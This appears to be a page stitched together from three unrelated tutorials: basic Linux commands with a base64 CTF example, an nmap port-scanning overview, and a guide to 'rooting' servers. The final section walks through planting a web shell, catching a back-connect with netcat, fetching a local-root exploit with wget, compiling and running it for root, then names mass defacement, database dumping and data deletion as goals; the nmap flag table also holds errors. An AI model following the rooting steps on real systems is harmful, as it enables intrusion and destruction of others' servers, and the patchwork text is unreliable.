Welcome back, hope you are enjoying this series, I don't know about you but I'm enjoying it a lot. This is part 3 of the series and in this article we're going to learn some new commands. Let's get started

Command: w
Syntax: w
Function: This simple function is used to see who is currently logged in and what they are doing, that is, their processes.

Command: whoami
Syntax:   whoami
Function: This is another simple command which is used to print the user name associated with the current effective user ID.

Try it and it will show up your user name.

If you want to know information about a particular user no matter whether it is you or someone else there is a command for doing that as well.

Command: finger
Syntax: finger [option] [username]
Function: finger is a user information lookup program. The [] around the arguments means that these arguments are optional this convention is used everywhere in this whole series.

In order to find information about your current user you can simply type:

finger username

Here username is your current username.
To find information about root you can type:

finger root

and it will display info about root user.

Command: uname
Syntax: uname [options]
Function:   uname is used to display information about the system.

uname is mostly used with the flag -a, which means display all information like this:

uname -a

Command: df
Syntax: df [option] [FILE ...]
Function:   df is used to display the amount of space available.
If you type df in your terminal and then hit enter you'll see the used and available space of every drive currently mounted on the system. However the information is displayed in block-size, which is not so much human friendly. But don't worry we can have a human friendly output as well using df by typing:

df -h

the -h flag is used to display the used and available space in a more user friendly format.
We can also view the info of a single drive by specifying the drive name after df like this:

df -h /dev/sda2

That's it for now about df, let's move on.

Command: free
Syntax:   free [options]
Function: free is used to display the amount of free and used physical memory and swap memory in the system.
Again the displayed information is in block-size to get a more human readable format use the -h flag like this:

free -h

Command: cal
Syntax: cal [options]
Function: cal stands for calendar. It is used to display the calendar.

If you want to display current date on the calendar you can simply type:

cal

and wohooo! you get a nice looking calendar on screen with current date marked but what if you want to display calendar of a previous month well you can do that as well. Say you want to display calendar of Jan 2010, then you'll have to type:

cal -d 2010-01

Nice little handy tool, isn't it?

Command: file
Syntax: file filename ...
Function:   file is an awesome tool, it's used to classify a file. It is used to determine the file type.

Let's demonstrate the usage of this command by solving a Noob's CTF challenge using file and base64 commands. We'll talk about base64 command in a bit. Go to InfoSecInstitute CTF Website. What you need to do here is to save the broken image file on your local computer in your home directory. After saving the file open your terminal (if it isn't already). Move to your home directory and then check what type of file it is using the file command:

cd
file image.jpg

Shocking output? The file command has identified the above file as an ASCII text file which means the above file is not an image file rather it is a text file now it's time to see it's contents so we'll type:

cat image.jpg

What is that? It's some kind of gibberish. Well it's base64 encoded text. We need to decode it. Let's learn how to do that.

Command: base64
Syntax:   base64 [option] FILE ...
Function: base64 command is used to encode/decode data and then print it to stdout.

If we're to encode some text in base64 format we'd simply type base64 hit enter and then start typing the text in the terminal after you're done hit enter again and then press CTRL+D like this:

base64
some text here
<CTRL+D>
c29tZSB0ZXh0IGhlcmUK # output - the encoded string

But in the above CTF we've got base64 encoded data we need to decode it, how are we going to do that? It's simple:

base64 -d image.jpg

There you go you've captured the flag.
The -d flag here specifies that we want to decode instead of encode and after it is the name of file we want to decode.

Voila!
So now you're officially a Hacker! Sorry no certificates available here :)

That's it for this article meet ya soon in the upcoming article.

CEH scanning methodology is the important step i.e. scanning for open ports over a network. Port is the technique used to scan for open ports. This methodology performed for the observation of the open and close ports running on the targeted machine. Port scanning gathered a valuable information about the host and the weakness of the system more than ping sweep.

Network Mapping (NMAP)

Basically NMAP stands for Network Mapping. A free open source tool used for scanning ports, service detection, operating system detection and IP address detection of the targeted machine. Moreover, it performs a quick and efficient scanning a large number of machines in a single session to gathered information about ports and system connected to the network. It can be used over UNIX, LINUX and Windows.

There are some terminologies which we should understand directly whenever we heard like Open ports, Filtered ports and Unfiltered ports.

Open Ports means the target machine accepts incoming request on that port cause these ports are used to accept packets due to the configuration of TCP and UDP.

Filtered ports means the ports are usually opened but due to firewall or network filtering the nmap doesn't detect the open ports.

Unfiltered means the nmap is unable to determine whether the port is open or filtered while the port is accessible.

Types Of NMAP Scan

Scan Type	Description
Null Scan	This scan is performed by both an ethical hackers and black hat hackers. This scan is used to identify the TCP port whether it is open or closed. Moreover, it only works over UNIX based systems.
TCP connect	The attacker makes a full TCP connection to the target system. There's an opportunity to connect the specifically port which you want to connect with. SYN/ACK signal observed for open ports while RST/ACK signal observed for closed ports.
ACK scan	Discovering the state of firewall with the help ACK scan whether it is stateful or stateless. This scan is typically used for the detection of filtered ports if ports are filtered. Moreover, it only works over the UNIX based systems.
Windows scan	This type of scan is similar to the ACK scan but there is ability to detect an open ports as well filtered ports.
SYN stealth scan	This malicious attack is mostly performed by attacker to detect the communication ports without making full connection to the network. This is also known as half-open scanning.

All NMAP Commands

Commands	Scan Performed
-sT	TCP connect scan
-sS	SYN scan
-sF	FIN scan
-sX	XMAS tree scan
-sN	Null scan
-sP	Ping scan
-sU	UDP scan
-sO	Protocol scan
-sA	ACK scan
-sW	Window scan
-sR	RPC scan
-sL	List/DNS scan
-sI	Idle scan
-Po	Don't ping
-PT	TCP ping
-PS	SYN ping
-PI	ICMP ping
-PB	ICMP and TCP ping
-PB	ICMP timestamp
-PM	ICMP netmask
-oN	Normal output
-oX	XML output
-oG	Greppable output
-oA	All output
-T Paranoid	Serial scan; 300 sec between scans
-T Sneaky	Serial scan; 15 sec between scans
-T Polite	Serial scan; .4 sec between scans
-T Normal	Parallel scan
-T Aggressive	Parallel scan, 300 sec timeout, and 1.25 sec/probe
-T Insane	Parallel scan, 75 sec timeout, and .3 sec/probe

How to Scan

You can perform nmap scanning over the windows command prompt followed by the syntax below. For example, If you wanna scan the host with the IP address 192.168.2.1 using a TCP connect scan type, enter this command:

nmap 192.168.2.1 –sT

nmap -sT 192.168.2.1

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).

In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.

After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to

find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.

You can know that from your shell, for example, this version is 2.6.18 – 2012

Go to EXECUTE on your shell and write "uname -a". You will get the same result, by the way.

Now how to find the local root.

You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :

Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.

So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD if you are under Windows. I will explain only Linux, and for Windows, its all the same.

After that Follow the steps :

1- Press nc -vlp 433

2- Wget [the link of the local-Root.zip]

3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local

gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)

Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.

AFTER THE ROOT

As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.
